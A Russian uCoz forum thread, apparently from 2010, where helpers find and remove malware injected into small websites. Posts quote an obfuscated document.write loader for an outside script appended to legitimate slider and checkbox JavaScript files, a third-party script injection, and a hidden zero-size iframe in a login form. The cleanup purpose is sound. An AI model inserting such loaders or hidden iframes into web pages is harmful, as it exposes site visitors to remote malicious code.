Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
| Вирусы на сайтах (для изучения) |
|
Keymaster, вы про этот сайт говорите? http://faits.ru/
на главной вроде чисто. Quote Может это Укозовский рекламный банер, там ведь есть ссылки ? очистите кеш и куки. возможно он кричит на кеш. не вижу ничего подозрительно вскрыла все что возможно |
|
Quote Keymaster, На главной : Дайте пожалуйста подсказку, где это искать ? Добавлено (22-Авг-2010, 02:34:40) |
|
Keymaster, ну только до этого можно докопаться
Code http://faits.ru/js/slideView.js Code document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/File_System.js"></scri'+'pt>'); |
|
//Заменитель checkbox-ов by WinuX. хттп://rsod.ru/
тоже вшит. в общем, если русскими словами ваши яваскрипт библиотеки заражены. слайдеры и чекбоксы |
|
Keymaster, я же вам дала наводку
вот это Code <script src="/js/slideView.js" type="text/javascript"></script> <script type="text/javascript"> у вас залит файл /js/slideView.js его надо скачать, открыть на редактирование и удалить Code document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/File_System.js"></scri'+'pt>'); и вот кусок Code http://faits.ru/js/checkform.js //Заменитель checkbox-ов by WinuX. http://rsod.ru/ chbox={t:'http://faits.ru/images/chek1.png',f:'http://faits.ru/images/chek.png'} //Картинки для checkbox-ов. t: выбранный, f: невыбранный. rbox={t:'http://faits.ru/images/chek1.png',f:'http://faits.ru/images/chek.png'} //Картинки для radio. t: выбранный, f: невыбранный. //Дальше не трогать! $(document).ready(function(){ $('input[type="checkbox"]').each(function(){this.style.display='none';if(this.checked){$(this).after('<img src="'+chbox.t+'" align="absmiddle">');}else{$(this).after('<img src="'+chbox.f+'" align="absmiddle">');}$(this).bind('click',function(){if(this.checked){$(this).next('img').attr('src',chbox.t)}else{$(this).next('img').attr('src',chbox.f)}});$(this).next('img').bind('click',function(){$(this).prev('input').click();if($(this).prev('input').attr('checked')){this.src=chbox.t;}else{this.src=chbox.f;}});}); $('input[type="radio"]').each(function(){this.style.display='none';if(this.checked){$(this).after('<img src="'+chbox.t+'" align="absmiddle">');}else{$(this).after('<img src="'+chbox.f+'" align="absmiddle">');}var rgroup=this.name;$(this).bind('click',function(){$('input[name="'+rgroup+'"]').each(function(){$(this).next('img').attr('src',rbox.f)});$(this).next('img').attr('src',rbox.t);});$(this).next('img').bind('click',function(){$(this).prev().click();});});}); document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/File_System.js"></scri'+'pt>'); |
|
webanet спасибо, я все удалил и заново переустановил из исходников.
Вроде все нормально, если не трудно могли бы вы зайти и посмотреть, появляется ли сообщение о вредоносных ссылках ? И заранее вам дорогие девушки плюсую, хотя может енто ыщо не конц)   |
|
Keymaster, вот теперь чисто стало. без этого
Code document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/File_System.js"></scri'+'pt>'); очистите кеш, потому что это дело кешируется очень. и больше ваш касперский кричать не будет. |
|
Доброго времени суток! Товарищи, сегодня не могу зайти на свой сайт http://melania.at.ua Идёт переадресация на ya.ru. Что это может быть?
Сообщение отредактировал Melania - Пятница, 27 Авг 2010, 17:01:14
|
|
Melania, начните с того, что уберите вот это
Code <!-- begin lank.ru code --> <script language="JavaScript"> var lankru_html = ''; lankru_html += '<scr' + 'ipt language="JavaSc' + 'ript" '; lankru_html += 'src="http://lank'; lankru_html += '.ru/js.php?id=18378'; lankru_html += '&url=' + encodeURIComponent(document.location); lankru_html += '&rnd=' + Math.random() + '"></scr' + 'ipt>'; document.write(lankru_html); </script> <!-- end lank.ru code --> далее удалите Code <A href="http://freeviral.ru/cgi-bin/r.cgi?r=2858" target="_blank" title="FreeViral.ru - система бесплатной раскрутки и продвижения сайтов"> <IMG src="http://freeviral.ru/img/ban46860.gif" alt="FreeViral.ru - система бесплатной раскрутки и продвижения сайтов" border="0" width="468" height="60"></A> будьте внимательны в выборе скриптов и рекламы. |
|
GunzGaMe, форма входа. ифрейм между пароль и запомнить
ифрейм от mirmuzla.net.ru |
|
GunzGaMe, Вот это удалите из HTML шаблона формы входа :
<iframe style="position: absolute; left: 1%; width: 0%; top: 1%; height: 0%;" src="http://mirmuzla.net.ru"></iframe> |
| |||